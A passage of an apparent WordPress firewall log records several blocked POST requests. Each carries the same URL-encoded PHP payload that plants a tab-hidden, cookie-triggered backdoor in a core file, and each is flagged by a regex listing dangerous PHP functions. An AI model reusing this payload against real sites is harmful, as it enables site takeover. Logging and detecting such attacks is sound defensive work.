Chrome\";v=\"100\"\nhost:dewenlabels.com\nsec-ch-ua-mobile:?0\naccept:*\/*\nsec-ch-ua-platform:\"Windows\"\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-site:none\n\nog=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/block-supports\/settings.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B24%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D4%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B24%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B24%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B24%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B4%252B1%253B%257D%2524k%253D%2524p%255B15%255D%2528%2529.%2524p%255B9%255D%253Bif%2528%2521%2524p%255B13%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B10%255D%2528%2524k%252C%2524p%255B1%255D%2529%253B%2524p%255B29%255D%2528%2524n%252C%2524p%255B5%255D.%2524p%255B3%255D%2528%2524p%255B26%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 16:53:20","171.244.34.150","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> mR:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/block-supports\/settings.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B24%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D4%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B24%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B24%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B24%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B4%252B1%253B%257D%2524k%253D%2524p%255B15%255D%2528%2529.%2524p%255B9%255D%253Bif%2528%2521%2524p%255B13%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B10%255D%2528%2524k%252C%2524p%255B1%255D%2529%253B%2524p%255B29%255D%2528%2524n%252C%2524p%255B5%255D.%2524p%255B3%255D%2528%2524p%255B26%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-length:3249\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvoIVvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzkiL2fvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Google Chrome\";v=\"101\"\nhost:dewenlabels.com\nsec-ch-ua-mobile:?0\naccept:*\/*\nsec-ch-ua-platform:\"Windows\"\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-site:none\n\nmR=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/block-supports\/settings.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B24%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D4%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B24%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B24%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B24%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B4%252B1%253B%257D%2524k%253D%2524p%255B15%255D%2528%2529.%2524p%255B9%255D%253Bif%2528%2521%2524p%255B13%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B10%255D%2528%2524k%252C%2524p%255B1%255D%2529%253B%2524p%255B29%255D%2528%2524n%252C%2524p%255B5%255D.%2524p%255B3%255D%2528%2524p%255B26%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 16:53:27","47.242.236.143","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Wj:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/block-supports\/settings.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B24%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D4%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B24%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B24%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B24%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B4%252B1%253B%257D%2524k%253D%2524p%255B15%255D%2528%2529.%2524p%255B9%255D%253Bif%2528%2521%2524p%255B13%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B10%255D%2528%2524k%252C%2524p%255B1%255D%2529%253B%2524p%255B29%255D%2528%2524n%252C%2524p%255B5%255D.%2524p%255B3%255D%2528%2524p%255B26%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-length:3249\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvI2bvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz9uqKEbMKuwMKO0nJ9hplV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\"Google Chrome\";v=\"107\", \"Chromium\";v=\"107\", \"Not=A?Brand\";v=\"24\"\nhost:dewenlabels.com\nsec-ch-ua-mobile:?0\naccept:*\/*\nsec-ch-ua-platform:\"Windows\"\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-site:none\n\nWj=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/block-supports\/settings.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B24%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D4%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B24%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B24%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B24%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B4%252B1%253B%257D%2524k%253D%2524p%255B15%255D%2528%2529.%2524p%255B9%255D%253Bif%2528%2521%2524p%255B13%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B10%255D%2528%2524k%252C%2524p%255B1%255D%2529%253B%2524p%255B29%255D%2528%2524n%252C%2524p%255B5%255D.%2524p%255B3%255D%2528%2524p%255B26%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 16:53:30","91.142.222.105","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> wy:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/block-supports\/settings.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B24%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D4%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B24%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B24%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B24%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B4%252B1%253B%257D%2524k%253D%2524p%255B15%255D%2528%2529.%2524p%255B9%255D%253Bif%2528%2521%2524p%255B13%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B10%255D%2528%2524k%252C%2524p%255B1%255D%2529%253B%2524p%255B29%255D%2528%2524n%252C%2524p%255B5%255D.%2524p%255B3%255D%2528%2524p%255B26%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-length:3249\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvq3xvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOupzkyK3Ein2IhplV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47\ncontent-type:application\/x-www-form-urlencoded\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Microsoft Edge\";v=\"101\"\nhost:dewenlabels.com\nsec-ch-ua-mobile:?0\naccept:*\/*\nsec-ch-ua-platform:\"Windows\"\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-site:none\n\nwy=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/block-supports\/settings.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B24%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D4%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B24%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B24%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B24%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B4%252B1%253B%257D%2524k%253D%2524p%255B15%255D%2528%2529.%2524p%255B9%255D%253Bif%2528%2521%2524p%255B13%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B10%255D%2528%2524k%252C%2524p%255B1%255D%2529%253B%2524p%255B29%255D%2528%2524n%252C%2524p%255B5%255D.%2524p%255B3%255D%2528%2524p%255B26%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 16:53:39","185.176.9.68","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> jQ:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/block-supports\/settings.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B24%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D4%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B24%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B24%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B24%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B4%252B1%253B%257D%2524k%253D%2524p%255B15%255D%2528%2529.%2524p%255B9%255D%253Bif%2528%2521%2524p%255B13%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B10%255D%2528%2524k%252C%2524p%255B1%255D%2529%253B%2524p%255B29%255D%2528%2524n%252C%2524p%255B5%255D.%2524p%255B3%255D%2528%2524p%255B26%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST 